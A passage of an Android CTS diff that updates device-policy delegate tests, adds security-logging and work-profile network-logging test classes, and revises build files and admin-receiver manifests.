+            DelegateTestUtils.NetworkLogsReceiver.waitForBroadcast();
         } finally {
             mDpm.setNetworkLoggingEnabled(null, false);
             assertFalse(mDpm.isNetworkLoggingEnabled(null));
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java
index 86f2639..05c2270 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java
@@ -51,25 +51,25 @@
 
         // Exercise isApplicationHidden.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.isApplicationHidden(null, TEST_APP_PKG);
                 });
 
         // Exercise setApplicationHidden.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.setApplicationHidden(null, TEST_APP_PKG, true /* hide */);
                 });
 
         // Exercise isPackageSuspended.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.isPackageSuspended(null, TEST_APP_PKG);
                 });
 
         // Exercise setPackagesSuspended.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.setPackagesSuspended(null, new String[] {TEST_APP_PKG}, true /* suspend */);
                 });
     }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java
index 81b74a2..55b6a5a 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java
@@ -55,7 +55,7 @@
 
         // Exercise setPermissionPolicy.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.setPermissionPolicy(null, PERMISSION_POLICY_AUTO_GRANT);
                 });
         assertFalse("Permission policy should not have been set",
@@ -63,14 +63,14 @@
 
         // Exercise setPermissionGrantState.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.setPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION,
                             PERMISSION_GRANT_STATE_GRANTED);
                 });
 
         // Exercise getPermissionGrantState.
         assertExpectException(SecurityException.class,
-                "Caller with uid \\d+ is not a delegate of scope", () -> {
+                "Calling identity is not authorized", () -> {
                     mDpm.getPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION);
                 });
     }
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/SecurityLoggingDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/SecurityLoggingDelegateTest.java
new file mode 100644
index 0000000..e924d41
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/SecurityLoggingDelegateTest.java
@@ -0,0 +1,118 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.SecurityLog.SecurityEvent;
+import android.content.Context;
+import android.support.test.uiautomator.UiDevice;
+import android.test.InstrumentationTestCase;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.List;
+
+/**
+ * Tests that a delegate app with DELEGATION_SECURITY_LOGGING is able to control and access
+ * security logging.
+ */
+public class SecurityLoggingDelegateTest extends InstrumentationTestCase {
+
+    private static final String TAG = "SecurityLoggingDelegateTest";
+
+    private Context mContext;
+    private DevicePolicyManager mDpm;
+    private UiDevice mDevice;
+
+    private static final String GENERATED_KEY_ALIAS = "generated_key_alias";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mContext = getInstrumentation().getContext();
+        mDpm = mContext.getSystemService(DevicePolicyManager.class);
+    }
+
+    public void testCannotAccessApis()throws Exception {
+        assertExpectException(SecurityException.class, null,
+                () -> mDpm.isSecurityLoggingEnabled(null));
+
+        assertExpectException(SecurityException.class, null,
+                () -> mDpm.setSecurityLoggingEnabled(null, true));
+
+        assertExpectException(SecurityException.class, null,
+                () -> mDpm.retrieveSecurityLogs(null));
+    }
+
+    /**
+     * Test: Test enabling security logging.
+     * This test has a side effect: security logging is enabled after its execution.
+     */
+    public void testEnablingSecurityLogging() {
+        mDpm.setSecurityLoggingEnabled(null, true);
+
+        assertThat(mDpm.isSecurityLoggingEnabled(null)).isTrue();
+    }
+
+    /**
+     * Generates security events related to Keystore
+     */
+    public void testGenerateLogs() throws Exception {
+        try {
+            DelegateTestUtils.testGenerateKey(GENERATED_KEY_ALIAS);
+        } finally {
+            DelegateTestUtils.deleteKey(GENERATED_KEY_ALIAS);
+        }
+    }
+
+    /**
+     * Test: retrieves security logs and verifies that all events generated as a result of host
+     * side actions and by {@link #testGenerateLogs()} are there.
+     */
+    public void testVerifyGeneratedLogs() throws Exception {
+        final List<SecurityEvent> events = DelegateTestUtils.getSecurityEvents(mDpm);
+        DelegateTestUtils.verifyKeystoreEventsPresent(GENERATED_KEY_ALIAS, events);
+    }
+
+    /**
+     * Test: retrieving security logs should be rate limited - subsequent attempts should return
+     * null.
+     */
+    public void testSecurityLoggingRetrievalRateLimited() {
+        final List<SecurityEvent> logs = mDpm.retrieveSecurityLogs(null);
+        // if logs is null it means that that attempt was rate limited => test PASS
+        if (logs != null) {
+            assertThat(mDpm.retrieveSecurityLogs(null)).isNull();
+            assertThat(mDpm.retrieveSecurityLogs(null)).isNull();
+        }
+    }
+
+    /**
+     * Test: Test disaling security logging.
+     * This test has a side effect: security logging is disabled after its execution.
+     */
+    public void testDisablingSecurityLogging() {
+        mDpm.setSecurityLoggingEnabled(null, false);
+
+        assertThat(mDpm.isSecurityLoggingEnabled(null)).isFalse();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/WorkProfileNetworkLoggingDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/WorkProfileNetworkLoggingDelegateTest.java
new file mode 100644
index 0000000..0b26658
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/WorkProfileNetworkLoggingDelegateTest.java
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.delegate;
+
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.fail;
+
+import android.app.admin.ConnectEvent;
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.DnsEvent;
+import android.app.admin.NetworkEvent;
+import android.content.Context;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.common.truth.Truth;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.URL;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+@RunWith(AndroidJUnit4.class)
+public class WorkProfileNetworkLoggingDelegateTest {
+
+    private static final String TAG = "WorkProfileNetworkLoggingDelegateTest";
+    private static final String CTS_APP_PACKAGE_NAME = "com.android.cts.delegate";
+
+    // Should not be added to the list of network events.
+    private static final String[] NOT_LOGGED_URLS_LIST = {
+            "wikipedia.org",
+            "wikipedia.com",
+            "google.pl",
+    };
+
+    // Should be added to the list of network events.
+    private static final String[] LOGGED_URLS_LIST = {
+            "example.com",
+            "example.net",
+            "example.org",
+            "example.edu",
+            "ipv6.google.com",
+            "google.co.jp",
+            "google.fr",
+            "google.com.br",
+            "google.com.tr",
+            "google.co.uk",
+            "google.de"
+    };
+
+    private Context mContext;
+    private DevicePolicyManager mDpm;
+    private UiDevice mDevice;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getContext();
+        mDpm = mContext.getSystemService(DevicePolicyManager.class);
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        DelegateTestUtils.NetworkLogsReceiver.sBatchCountDown = new CountDownLatch(1);
+    }
+
+    @Test
+    public void testCannotAccessApis() {
+        assertExpectException(SecurityException.class, null,
+                () -> mDpm.isNetworkLoggingEnabled(null));
+
+        assertExpectException(SecurityException.class, null,
+                () -> mDpm.setNetworkLoggingEnabled(null, true));
+
+        assertExpectException(SecurityException.class, null,
+                () -> mDpm.retrieveNetworkLogs(null, 0));
+    }
+
+    @Test
+    public void testSetNetworkLogsEnabled_true() {
+        mDpm.setNetworkLoggingEnabled(null, true);
+
+        assertThat(mDpm.isNetworkLoggingEnabled(null)).isTrue();
+    }
+
+    @Test
+    public void testConnectToWebsites_shouldBeLogged() {
+        for (final String url : LOGGED_URLS_LIST) {
+            connectToWebsite(url);
+        }
+    }
+
+    @Test
+    public void testConnectToWebsites_shouldNotBeLogged() {
+        for (final String url : NOT_LOGGED_URLS_LIST) {
+            connectToWebsite(url);
+        }
+    }
+
+    @Test
+    public void testRetrieveNetworkLogs_forceNetworkLogs_receiveNetworkLogs() throws Exception {
+        mDevice.executeShellCommand("dpm force-network-logs");
+        DelegateTestUtils.NetworkLogsReceiver.waitForBroadcast();
+
+        verifyNetworkLogs(DelegateTestUtils.NetworkLogsReceiver.getNetworkEvents());
+    }
+
+    private void verifyNetworkLogs(List<NetworkEvent> networkEvents) {
+        int receivedEventsFromLoggedUrlsList = 0;
+
+        for (final NetworkEvent currentEvent : networkEvents) {
+            if (CTS_APP_PACKAGE_NAME.equals(currentEvent.getPackageName())) {
+                if (currentEvent instanceof DnsEvent) {
+                    final DnsEvent dnsEvent = (DnsEvent) currentEvent;
+                    if (Arrays.asList(LOGGED_URLS_LIST).contains(dnsEvent.getHostname())) {
+                        receivedEventsFromLoggedUrlsList++;
+                        // Verify all hostnames looked-up from the personal profile were not logged.
+                    } else {
+                        Truth.assertWithMessage("A hostname that was looked-up from "
+                                + "the personal profile was logged.")
+                                .that(Arrays.asList(NOT_LOGGED_URLS_LIST))
+                                .doesNotContain(dnsEvent.getHostname());
+                    }
+
+                } else if (currentEvent instanceof ConnectEvent) {
+                    final ConnectEvent connectEvent = (ConnectEvent) currentEvent;
+                    final InetAddress ip = connectEvent.getInetAddress();
+                    assertThat(isIpv4OrIpv6Address(ip)).isTrue();
+
+                } else {
+                    fail("An unknown NetworkEvent type logged: "
+                            + currentEvent.getClass().getName());
+                }
+            }
+        }
+        assertThat(receivedEventsFromLoggedUrlsList).isEqualTo(LOGGED_URLS_LIST.length);
+    }
+
+    private boolean isIpv4OrIpv6Address(InetAddress addr) {
+        return ((addr instanceof Inet4Address) || (addr instanceof Inet6Address));
+    }
+
+    @Test
+    public void testSetNetworkLogsEnabled_false() {
+        mDpm.setNetworkLoggingEnabled(null, false);
+
+        assertThat(mDpm.isNetworkLoggingEnabled(null)).isFalse();
+    }
+
+    private void connectToWebsite(String server) {
+        HttpURLConnection urlConnection = null;
+        try {
+            final URL url = new URL("https://" + server);
+            urlConnection = (HttpURLConnection) url.openConnection();
+            urlConnection.setConnectTimeout(2000);
+            urlConnection.setReadTimeout(2000);
+            urlConnection.getResponseCode();
+        } catch (IOException e) {
+            Log.w(TAG, "Failed to connect to " + server, e);
+        } finally {
+            if (urlConnection != null) {
+                urlConnection.disconnect();
+            }
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/WorkProfileSecurityLoggingDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/WorkProfileSecurityLoggingDelegateTest.java
new file mode 100644
index 0000000..e660d1b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/WorkProfileSecurityLoggingDelegateTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.delegate;
+
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.SecurityLog.SecurityEvent;
+import android.content.Context;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class WorkProfileSecurityLoggingDelegateTest {
+
+    private static final String TAG = "WorkProfileSecurityLoggingDelegateTest";
+    private static final String CTS_APP_PACKAGE_NAME = "com.android.cts.delegate";
+    private static final String GENERATED_KEY_ALIAS = "generated_key_alias";
+
+    private Context mContext;
+    private DevicePolicyManager mDpm;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getContext();
+        mDpm = mContext.getSystemService(DevicePolicyManager.class);
+    }
+
+    @Test
+    public void testCannotAccessApis() {
+        assertExpectException(SecurityException.class, null,
+                () -> mDpm.isSecurityLoggingEnabled(null));
+
+        assertExpectException(SecurityException.class, null,
+                () -> mDpm.setSecurityLoggingEnabled(null, true));
+
+        assertExpectException(SecurityException.class, null,
+                () -> mDpm.retrieveSecurityLogs(null));
+    }
+
+    /**
+     * Test: Test enabling security logging.
+     * This test has a side effect: security logging is enabled after its execution.
+     */
+    @Test
+    public void testEnablingSecurityLogging() {
+        mDpm.setSecurityLoggingEnabled(null, true);
+
+        assertThat(mDpm.isSecurityLoggingEnabled(null)).isTrue();
+    }
+
+    /**
+     * Generates security events related to Keystore
+     */
+    @Test
+    public void testGenerateLogs() throws Exception {
+        try {
+            DelegateTestUtils.testGenerateKey(GENERATED_KEY_ALIAS);
+        } finally {
+            DelegateTestUtils.deleteKey(GENERATED_KEY_ALIAS);
+        }
+    }
+
+    /**
+     * Test: retrieves security logs and verifies that all events generated as a result of host
+     * side actions and by {@link #testGenerateLogs()} are there.
+     */
+    @Test
+    public void testVerifyGeneratedLogs() throws Exception {
+        final List<SecurityEvent> events = DelegateTestUtils.getSecurityEvents(mDpm);
+        DelegateTestUtils.verifyKeystoreEventsPresent(GENERATED_KEY_ALIAS, events);
+    }
+
+    /**
+     * Test: retrieving security logs should be rate limited - subsequent attempts should return
+     * null.
+     */
+    @Test
+    public void testSecurityLoggingRetrievalRateLimited() {
+        final List<SecurityEvent> logs = mDpm.retrieveSecurityLogs(null);
+        // if logs is null it means that that attempt was rate limited => test PASS
+        if (logs != null) {
+            assertThat(mDpm.retrieveSecurityLogs(null)).isNull();
+            assertThat(mDpm.retrieveSecurityLogs(null)).isNull();
+        }
+    }
+
+    /**
+     * Test: Test disaling security logging.
+     * This test has a side effect: security logging is disabled after its execution.
+     */
+    @Test
+    public void testDisablingSecurityLogging() {
+        mDpm.setSecurityLoggingEnabled(null, false);
+
+        assertThat(mDpm.isSecurityLoggingEnabled(null)).isFalse();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
index 7af83ca..5f8d9ce 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/Android.bp
@@ -24,6 +24,7 @@
     static_libs: [
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
+        "DpmWrapper",
     ],
     libs: [
         "android.test.runner",
@@ -35,6 +36,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "api23/AndroidManifest.xml",
 }
@@ -47,6 +49,7 @@
     static_libs: [
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
+        "DpmWrapper",
     ],
     libs: [
         "android.test.runner",
@@ -60,6 +63,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "api24/AndroidManifest.xml",
 }
@@ -72,6 +76,7 @@
     static_libs: [
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
+        "DpmWrapper",
     ],
     libs: [
         "android.test.runner",
@@ -83,6 +88,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "api29/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml
index 8e2fdc2..8c64035 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml
@@ -15,38 +15,41 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadmin23" >
+     package="com.android.cts.deviceadmin23">
 
-    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="23"/>
+    <uses-sdk android:minSdkVersion="23"
+         android:targetSdkVersion="23"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name="com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <receiver
-                android:name="com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
-                >
+        <receiver android:name="com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
+        <!--  TODO(b/176993670): remove if DpmWrapperManagerWrapper goes away -->
+        <receiver android:name="com.android.bedstead.dpmwrapper.TestAppCallbacksReceiver"
+            android:exported="true">
+        </receiver>
+
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadmin23"
-            android:label="Device Admin CTS tests"/>
+         android:targetPackage="com.android.cts.deviceadmin23"
+         android:label="Device Admin CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml
index 30bd6dc..bfa81b2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml
@@ -15,38 +15,41 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadmin24" >
+     package="com.android.cts.deviceadmin24">
 
-    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="24"/>
+    <uses-sdk android:minSdkVersion="23"
+         android:targetSdkVersion="24"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name="com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <receiver
-                android:name="com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
-                >
+        <receiver android:name="com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
+        <!--  TODO(b/176993670): remove if DpmWrapperManagerWrapper goes away -->
+        <receiver android:name="com.android.bedstead.dpmwrapper.TestAppCallbacksReceiver"
+            android:exported="true">
+        </receiver>
+
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadmin24"
-            android:label="Device Admin CTS tests"/>
+         android:targetPackage="com.android.cts.deviceadmin24"
+         android:label="Device Admin CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api29/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdmin/api29/AndroidManifest.xml
index 326e61f..ac6ad51 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api29/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api29/AndroidManifest.xml
@@ -15,38 +15,41 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadmin29" >
+     package="com.android.cts.deviceadmin29">
 
-    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="29"/>
+    <uses-sdk android:minSdkVersion="23"
+         android:targetSdkVersion="29"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name="com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <receiver
-                android:name="com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
-                >
+        <receiver android:name="com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
+        <!--  TODO(b/176993670): remove if DpmWrapperManagerWrapper goes away -->
+        <receiver android:name="com.android.bedstead.dpmwrapper.TestAppCallbacksReceiver"
+            android:exported="true">
+        </receiver>
+
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadmin29"
-            android:label="Device Admin CTS tests"/>
+         android:targetPackage="com.android.cts.deviceadmin29"
+         android:label="Device Admin CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/BaseDeviceAdminTest.java
index 8ff6bf8..454f7bf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/BaseDeviceAdminTest.java
@@ -21,8 +21,12 @@
 import android.content.pm.PackageManager;
 import android.os.Build;
 import android.test.AndroidTestCase;
+import android.util.Log;
+
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
 
 public class BaseDeviceAdminTest extends AndroidTestCase {
+    private static final String TAG = BaseDeviceAdminTest.class.getSimpleName();
 
     public static class AdminReceiver extends DeviceAdminReceiver {
     }
@@ -37,11 +41,13 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        dpm = mContext.getSystemService(DevicePolicyManager.class);
-        mPackageName = mContext.getPackageName();
+        dpm = TestAppSystemServiceFactory.getDevicePolicyManager(mContext, AdminReceiver.class);
+        int userId = mContext.getUserId();
+
         mAdminComponent = new ComponentName(mContext, AdminReceiver.class);
         mHasSecureLockScreen = mContext.getPackageManager()
                 .hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+        Log.d(TAG, "setUp(): userId=" + userId + ", admin=" + mAdminComponent);
     }
 
     /**
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
index c18b21b..b723aca 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
@@ -31,6 +31,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "package1/AndroidManifest.xml",
 }
@@ -50,6 +51,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "package2/AndroidManifest.xml",
 }
@@ -69,6 +71,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "package3/AndroidManifest.xml",
 }
@@ -88,6 +91,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "package4/AndroidManifest.xml",
 }
@@ -107,6 +111,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "packageb/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
index d2b4b0c..1bd9261 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
@@ -15,32 +15,30 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadminservice" >
+     package="com.android.cts.deviceadminservice">
 
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name=".MyOwner"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".MyOwner"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <service
-                android:name=".MyService"
-                android:exported="true"
-                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+        <service android:name=".MyService"
+             android:exported="true"
